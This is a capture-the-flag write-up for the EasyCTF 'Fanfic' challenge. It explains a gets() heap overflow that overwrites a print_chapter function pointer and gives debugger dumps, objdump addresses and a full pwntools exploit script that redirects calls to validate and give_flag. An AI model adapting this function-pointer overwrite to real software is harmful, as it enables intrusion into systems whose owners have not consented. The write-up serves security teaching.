EASYCTF - Fanfic

Some analysis

The program given is made to write a book chapter by chapter.
When we look at the code we can see that when we edit a chapter that we have already writen :

if (option_val > 0 && option_val <= num_ch) 
{
    printf("Editing chapter\n");      
    printf("Enter new chapter text: \n");         
    curr_ch = fanfic->first_chapter;
    for (i=1; i<option_val; i++) 
    {
        curr_ch = curr_ch->next_chapter;
    }
    gets(curr_ch->content);   
}

Here we can see that the function gets allow us to overflow the size of curr_ch->content.
But the segmentation fault is triggered when we publish the book, because we call the function print_chapter and the content of our chapter is put in the heap.
So if we look at the heap before the call :

0x8c6d9d0:  0x0000000000000000  0x4141414141410000
0x8c6d9e0:  0x4141414141414141  0x4141414141414141
0x8c6d9f0:  0x4141414141414141  0x4141414141414141
0x8c6da00:  0x4141414141414141  0x4141414141414141
0x8c6da10:  0x0000004141414141  0x0000000000000000
0x8c6da20:  0x0000000000000000  0x0000000000000000
0x8c6da30:  0x0000000000000000  0x0000000000000000
0x8c6da40:  0x0000000000000000  0x0000000000000000
0x8c6da50:  0x0000000000000000  0x0000000000000000
0x8c6da60:  0x0000000000000000  0x0000000000000000
0x8c6da70:  0x0000000000000000  0x0000000000000000
0x8c6da80:  0x0000000000000000  0x0000000000000000
0x8c6da90:  0x0000000000000000  0x0000000000000000
0x8c6daa0:  0x0000000000000000  0x0000000000000000
0x8c6dab0:  0x0000000000000000  0x0000000000000000
0x8c6dac0:  0x0000000000000000  0x0000000000000000
0x8c6dad0:  0x0000000000000000  0x0804875f00000000
0x8c6dae0:  0x0000000000000000  0x0002151900000000
0x8c6daf0:  0x0000000000000000  0x0000000000000000
0x8c6db00:  0x0000000000000000  0x0000000000000000
0x8c6db10:  0x0000000000000000  0x0000000000000000
0x8c6db20:  0x0000000000000000  0x0000000000000000

We can see that if we can overflow far enough, we can override the address 0x0804875f which is print_chapter.

gdb-peda$ print print_chapter
$1 = {<text variable, no debug info>} 0x804875f <print_chapter>

Also we know that it’s that address which is call, because the next instructions are :

0x8048dc9 <main+1351>:  mov    eax,DWORD PTR [eax+0x13c]
0x8048dcf <main+1357>:   mov    edx,DWORD PTR ds:0x804b070
0x8048dd5 <main+1363>:   sub    esp,0x8
0x8048dd8 <main+1366>:   push   DWORD PTR [ebp-0xc]
0x8048ddb <main+1369>:   push   edx
0x8048ddc <main+1370>:   call   eax

We see that the content of eax+0x13c is loaded in eax. And is called after that.

gdb-peda$ x/ga $eax+0x13c
0x8c6dadc:  0x804875f <print_chapter>

With calculation or with some tries, we can find that we start overiding the address of print_chapter after a padding of 258

How to exploit

We see that we need to call the function give_flag. But before that we need to call the function validate to change the value of success.

First step : get address from plt

We just do an objdump with grep to obtain the address of validate and give_flag

objdump -D fanfic | grep validate
080487b4 <validate>:
 80487bb:   75 0a                   jne    80487c7 <validate+0x13>
objdump -D fanfic | grep flag                                             
080487ef <give_flag>:
 804881c:   75 43                   jne    8048861 <give_flag+0x72>

Second Step : Call validate function

At this point we know that we need to call the validate function. But the function takes an argument used to change the value of success. We have this comparaison :

void validate(int ans) {
    if ((ans ^ 0xDEADBEEF) == 0xDEADBEAF)

We see that the function need to have 0x40 (64) to pass the test.

If we look at how the print_chapter, we see that the first argument to the function is EDX (0x804b070) and the second is our content of chapter (ebp-0xc). If we look at the C code now, we realize that the first argument is the chapter number (i).
Okay now we have everything for our exploitation.

Third Step : Build the exploit and Enjoy

We know that we need to create at least 65 articles to sucessfully read the content of flag.txt. We have to override the print_chapter function with validate on the 64th chapter and override it with give_flag on the 65th.
In a first time we need to create 65 casual articles and edit the 64th and 65th to override the print_chapter call.

Exploit.py

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

from pwn import *


context(arch='i386')
p = 0
b = ELF('./fanfic')

DEBUG = True



def start():
    global p, libc, b
    if p is not 0:
        p.close()
    p = process('/problems/fanfic/fanfic')
    


start()
log.info("Construct ropchain")
ropchain = "A"*258
ropchain += p32(0x080487b4) # validate

ropchain2 = "A"*258
ropchain2 += p32(0x080487ef) # give_flag

p.sendline("lol")

for j in range(1,66):
    p.sendline(str(j))
    p.sendline("lol")
    p.sendline("lol")

p.sendline("1")
p.sendline("64")
p.sendline(ropchain)

p.sendline("1")
p.sendline("65")
p.sendline(ropchain2)

p.recv()
p.sendline("3")
print p.recv()